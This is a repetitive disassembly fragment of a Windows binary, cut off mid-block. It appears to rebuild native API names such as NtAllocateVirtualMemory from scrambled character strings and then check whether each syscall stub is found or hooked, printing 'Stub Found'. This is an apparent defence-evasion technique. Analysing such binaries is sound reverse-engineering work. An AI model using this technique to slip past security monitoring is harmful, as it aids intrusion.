lea rax, [rbp + 0x2da0]
lea rdx, [rbp + 0x2dc0]
lea r8, [0x0151f5b3]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x2d80]
lea rdx, [rbp + 0x2da0]
lea r8, [0x0151f5b5]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x2d60]
lea rdx, [rbp + 0x2d80]
lea r8, [0x0151f5b7]
mov rcx, rax
call fcn.004b7590
lea rdx, [rbp + 0x2d60]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.004a7c40
lea rax, [rbp + 0x2d60]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x2d80]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x2da0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x2dc0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x2de0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x2e00]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x2e20]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x2e40]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x2e60]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x2e80]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x2ea0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x2ec0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x2ee0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x2f00]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x2f20]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x2f40]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x2f6f]
mov rcx, rax
call fcn.0046f6a0
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x2f70]
mov rcx, rax
call fcn.004a7140
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x2f70]
mov rcx, qword [rbp + 0x5350]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x2f70]
mov rcx, rax
call fcn.004a7c00
cmp dword [rbp + 0x529c], 0
je 0x405940
lea rbx, [0x0151f58b]
jmp 0x405947
lea rbx, [0x0151f590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.00432660
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x315f]
mov rcx, rax
call fcn.0046f670
lea rdx, [rbp + 0x315f]
lea rax, [rbp + 0x3130]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a75b0
lea rax, [rbp + 0x3110]
lea rdx, [rbp + 0x3130]
lea r8, [0x0151f56f]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x30f0]
lea rdx, [rbp + 0x3110]
lea r8, [0x0151f5b9]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x30d0]
lea rdx, [rbp + 0x30f0]
lea r8, [0x0151f57b]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x30b0]
lea rdx, [rbp + 0x30d0]
lea r8, [0x0151f5bb]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3090]
lea rdx, [rbp + 0x30b0]
lea r8, [0x0151f583]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3070]
lea rdx, [rbp + 0x3090]
lea r8, [0x0151f587]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3050]
lea rdx, [rbp + 0x3070]
lea r8, [0x0151f57b]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3030]
lea rdx, [rbp + 0x3050]
lea r8, [0x0151f5af]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3010]
lea rdx, [rbp + 0x3030]
lea r8, [0x0151f5b1]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x2ff0]
lea rdx, [rbp + 0x3010]
lea r8, [0x0151f581]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x2fd0]
lea rdx, [rbp + 0x2ff0]
lea r8, [0x0151f57b]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x2fb0]
lea rdx, [rbp + 0x2fd0]
lea r8, [0x0151f579]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x2f90]
lea rdx, [rbp + 0x2fb0]
lea r8, [0x0151f5b3]
mov rcx, rax
call fcn.004b7590
lea rdx, [rbp + 0x2f90]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.004a7c40
lea rax, [rbp + 0x2f90]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x2fb0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x2fd0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x2ff0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3010]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3030]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3050]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3070]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3090]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x30b0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x30d0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x30f0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3110]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3130]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x315f]
mov rcx, rax
call fcn.0046f6a0
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x3160]
mov rcx, rax
call fcn.004a7140
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x3160]
mov rcx, qword [rbp + 0x5348]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x3160]
mov rcx, rax
call fcn.004a7c00
cmp dword [rbp + 0x529c], 0
je 0x405c80
lea rbx, [0x0151f58b]
jmp 0x405c87
lea rbx, [0x0151f590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.00432660
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x342f]
mov rcx, rax
call fcn.0046f670
lea rdx, [rbp + 0x342f]
lea rax, [rbp + 0x3400]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a75b0
lea rax, [rbp + 0x33e0]
lea rdx, [rbp + 0x3400]
lea r8, [0x0151f56f]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x33c0]
lea rdx, [rbp + 0x33e0]
lea r8, str.WPCThdExRsFSngObjQIfpGDw
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x33a0]
lea rdx, [rbp + 0x33c0]
lea r8, [0x0151f579]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3380]
lea rdx, [rbp + 0x33a0]
lea r8, [0x0151f57f]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3360]
lea rdx, [rbp + 0x3380]
lea r8, [0x0151f56f]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3340]
lea rdx, [rbp + 0x3360]
lea r8, [0x0151f5bd]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3320]
lea rdx, [rbp + 0x3340]
lea r8, [0x0151f575]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3300]
lea rdx, [rbp + 0x3320]
lea r8, [0x0151f581]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x32e0]
lea rdx, [rbp + 0x3300]
lea r8, [0x0151f5bf]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x32c0]
lea rdx, [rbp + 0x32e0]
lea r8, [0x0151f57f]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x32a0]
lea rdx, [rbp + 0x32c0]
lea r8, [0x0151f5c1]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3280]
lea rdx, [rbp + 0x32a0]
lea r8, [0x0151f5c3]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3260]
lea rdx, [rbp + 0x3280]
lea r8, [0x0151f573]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3240]
lea rdx, [rbp + 0x3260]
lea r8, [0x0151f57b]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3220]
lea rdx, [rbp + 0x3240]
lea r8, [0x0151f5c5]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3200]
lea rdx, [rbp + 0x3220]
lea r8, [0x0151f5c7]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x31e0]
lea rdx, [rbp + 0x3200]
lea r8, [0x0151f5c9]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x31c0]
lea rdx, [rbp + 0x31e0]
lea r8, [0x0151f57b]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x31a0]
lea rdx, [rbp + 0x31c0]
lea r8, [0x0151f577]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3180]
lea rdx, [rbp + 0x31a0]
lea r8, [0x0151f56f]
mov rcx, rax
call fcn.004b7590
lea rdx, [rbp + 0x3180]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.004a7c40
lea rax, [rbp + 0x3180]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x31a0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x31c0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x31e0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3200]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3220]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3240]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3260]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3280]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x32a0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x32c0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x32e0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3300]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3320]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3340]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3360]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3380]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x33a0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x33c0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x33e0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3400]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x342f]
mov rcx, rax
call fcn.0046f6a0
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x3430]
mov rcx, rax
call fcn.004a7140
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x3430]
mov rcx, qword [rbp + 0x5340]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x3430]
mov rcx, rax
call fcn.004a7c00
cmp dword [rbp + 0x529c], 0
je 0x4060f4
lea rbx, [0x0151f58b]
jmp 0x4060fb
lea rbx, [0x0151f590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.00432660
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x377f]
mov rcx, rax
call fcn.0046f670
lea rdx, [rbp + 0x377f]
lea rax, [rbp + 0x3750]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a75b0
lea rax, [rbp + 0x3730]
lea rdx, [rbp + 0x3750]
lea r8, [0x0151f56f]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3710]
lea rdx, [rbp + 0x3730]
lea r8, [0x0151f5cb]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x36f0]
lea rdx, [rbp + 0x3710]
lea r8, [0x0151f583]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x36d0]
lea rdx, [rbp + 0x36f0]
lea r8, [0x0151f57b]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x36b0]
lea rdx, [rbp + 0x36d0]
lea r8, [0x0151f581]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3690]
lea rdx, [rbp + 0x36b0]
lea r8, [0x0151f589]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3670]
lea rdx, [rbp + 0x3690]
lea r8, [0x0151f5cd]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3650]
lea rdx, [rbp + 0x3670]
lea r8, [0x0151f5c1]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3630]
lea rdx, [rbp + 0x3650]
lea r8, [0x0151f5cf]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3610]
lea rdx, [rbp + 0x3630]
lea r8, [0x0151f575]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x35f0]
lea rdx, [rbp + 0x3610]
lea r8, [0x0151f581]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x35d0]
lea rdx, [rbp + 0x35f0]
lea r8, [0x0151f587]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x35b0]
lea rdx, [rbp + 0x35d0]
lea r8, [0x0151f579]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3590]
lea rdx, [rbp + 0x35b0]
lea r8, [0x0151f56f]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3570]
lea rdx, [rbp + 0x3590]
lea r8, [0x0151f57f]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3550]
lea rdx, [rbp + 0x3570]
lea r8, [0x0151f575]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3530]
lea rdx, [rbp + 0x3550]
lea r8, [0x0151f5c1]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3510]
lea rdx, [rbp + 0x3530]
lea r8, [0x0151f5ab]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x34f0]
lea rdx, [rbp + 0x3510]
lea r8, [0x0151f581]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x34d0]
lea rdx, [rbp + 0x34f0]
lea r8, [0x0151f575]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x34b0]
lea rdx, [rbp + 0x34d0]
lea r8, [0x0151f577]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3490]
lea rdx, [rbp + 0x34b0]
lea r8, [0x0151f57b]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3470]
lea rdx, [rbp + 0x3490]
lea r8, [0x0151f5bb]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3450]
lea rdx, [rbp + 0x3470]
lea r8, [0x0151f5bb]
mov rcx, rax
call fcn.004b7590
lea rdx, [rbp + 0x3450]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.004a7c40
lea rax, [rbp + 0x3450]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3470]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3490]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x34b0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x34d0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x34f0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3510]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3530]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3550]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3570]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3590]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x35b0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x35d0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x35f0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3610]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3630]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3650]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3670]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3690]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x36b0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x36d0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x36f0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3710]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3730]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3750]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x377f]
mov rcx, rax
call fcn.0046f6a0
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x3780]
mov rcx, rax
call fcn.004a7140
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x3780]
mov rcx, qword [rbp + 0x5338]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x3780]
mov rcx, rax
call fcn.004a7c00
cmp dword [rbp + 0x529c], 0
je 0x406618
lea rbx, [0x0151f58b]
jmp 0x40661f
lea rbx, [0x0151f590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.00432660
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x3a0f]
mov rcx, rax
call fcn.0046f670
lea rdx, [rbp + 0x3a0f]
lea rax, [rbp + 0x39e0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a75b0
lea rax, [rbp + 0x39c0]
lea rdx, [rbp + 0x39e0]
lea r8, [0x0151f56f]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x39a0]
lea rdx, [rbp + 0x39c0]
lea r8, [0x0151f5b9]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3980]
lea rdx, [rbp + 0x39a0]
lea r8, [0x0151f57b]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3960]
lea rdx, [rbp + 0x3980]
lea r8, [0x0151f579]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3940]
lea rdx, [rbp + 0x3960]
lea r8, [0x0151f5b3]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3920]
lea rdx, [rbp + 0x3940]
lea r8, [0x0151f57d]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3900]
lea rdx, [rbp + 0x3920]
lea r8, [0x0151f57f]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x38e0]
lea rdx, [rbp + 0x3900]
lea r8, [0x0151f581]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x38c0]
lea rdx, [rbp + 0x38e0]
lea r8, [0x0151f56f]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x38a0]
lea rdx, [rbp + 0x38c0]
lea r8, [0x0151f583]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3880]
lea rdx, [rbp + 0x38a0]
lea r8, [0x0151f579]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3860]
lea rdx, [rbp + 0x3880]
lea r8, [0x0151f573]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3840]
lea rdx, [rbp + 0x3860]
lea r8, [0x0151f585]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3820]
lea rdx, [rbp + 0x3840]
lea r8, [0x0151f57b]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3800]
lea rdx, [rbp + 0x3820]
lea r8, [0x0151f587]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x37e0]
lea rdx, [rbp + 0x3800]
lea r8, [0x0151f575]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x37c0]
lea rdx, [rbp + 0x37e0]
lea r8, [0x0151f581]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x37a0]
lea rdx, [rbp + 0x37c0]
lea r8, [0x0151f589]
mov rcx, rax
call fcn.004b7590
lea rdx, [rbp + 0x37a0]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.004a7c40
lea rax, [rbp + 0x37a0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x37c0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x37e0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3800]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3820]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3840]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3860]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3880]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x38a0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x38c0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x38e0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3900]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3920]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3940]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3960]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3980]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x39a0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x39c0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x39e0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3a0f]
mov rcx, rax
call fcn.0046f6a0
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x3a10]
mov rcx, rax
call fcn.004a7140
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x3a10]
mov rcx, qword [rbp + 0x5330]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x3a10]
mov rcx, rax
call fcn.004a7c00
cmp dword [rbp + 0x529c], 0
je 0x406a34
lea rbx, [0x0151f58b]
jmp 0x406a3b
lea rbx, [0x0151f590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.00432660
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x3b1f]
mov rcx, rax
call fcn.0046f670
lea rdx, [rbp + 0x3b1f]
lea rax, [rbp + 0x3af0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a75b0
lea rax, [rbp + 0x3ad0]
lea rdx, [rbp + 0x3af0]
lea r8, [0x0151f56f]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3ab0]
lea rdx, [rbp + 0x3ad0]
lea r8, [0x0151f5ad]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3a90]
lea rdx, [rbp + 0x3ab0]
lea r8, [0x0151f573]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3a70]
lea rdx, [rbp + 0x3a90]
lea r8, [0x0151f575]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3a50]
lea rdx, [rbp + 0x3a70]
lea r8, [0x0151f5bb]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3a30]
lea rdx, [rbp + 0x3a50]
lea r8, [0x0151f57b]
mov rcx, rax
call fcn.004b7590
lea rdx, [rbp + 0x3a30]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.004a7c40
lea rax, [rbp + 0x3a30]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3a50]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3a70]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3a90]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3ab0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3ad0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3af0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3b1f]
mov rcx, rax
call fcn.0046f6a0
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x3b20]
mov rcx, rax
call fcn.004a7140
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x3b20]
mov rcx, qword [rbp + 0x5328]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x3b20]
mov rcx, rax
call fcn.004a7c00
cmp dword [rbp + 0x529c], 0
je 0x406c40
lea rbx, [0x0151f58b]
jmp 0x406c47
lea rbx, [0x0151f590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.00432660
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x3cef]
mov rcx, rax
call fcn.0046f670
lea rdx, [rbp + 0x3cef]
lea rax, [rbp + 0x3cc0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a75b0
lea rax, [rbp + 0x3ca0]
lea rdx, [rbp + 0x3cc0]
lea r8, [0x0151f56f]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3c80]
lea rdx, [rbp + 0x3ca0]
lea r8, [0x0151f5c5]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3c60]
lea rdx, [rbp + 0x3c80]
lea r8, [0x0151f5d1]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3c40]
lea rdx, [rbp + 0x3c60]
lea r8, [0x0151f57b]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3c20]
lea rdx, [rbp + 0x3c40]
lea r8, [0x0151f5c1]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3c00]
lea rdx, [rbp + 0x3c20]
lea r8, [0x0151f5ab]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3be0]
lea rdx, [rbp + 0x3c00]
lea r8, [0x0151f581]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3bc0]
lea rdx, [rbp + 0x3be0]
lea r8, [0x0151f575]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3ba0]
lea rdx, [rbp + 0x3bc0]
lea r8, [0x0151f577]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3b80]
lea rdx, [rbp + 0x3ba0]
lea r8, [0x0151f57b]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3b60]
lea rdx, [rbp + 0x3b80]
lea r8, [0x0151f5bb]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x3b40]
lea rdx, [rbp + 0x3b60]
lea r8, [0x0151f5bb]
mov rcx, rax
call fcn.004b7590
lea rdx, [rbp + 0x3b40]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.004a7c40
lea rax, [rbp + 0x3b40]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3b60]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3b80]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3ba0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3bc0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3be0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3c00]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3c20]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3c40]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3c60]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x3c80]
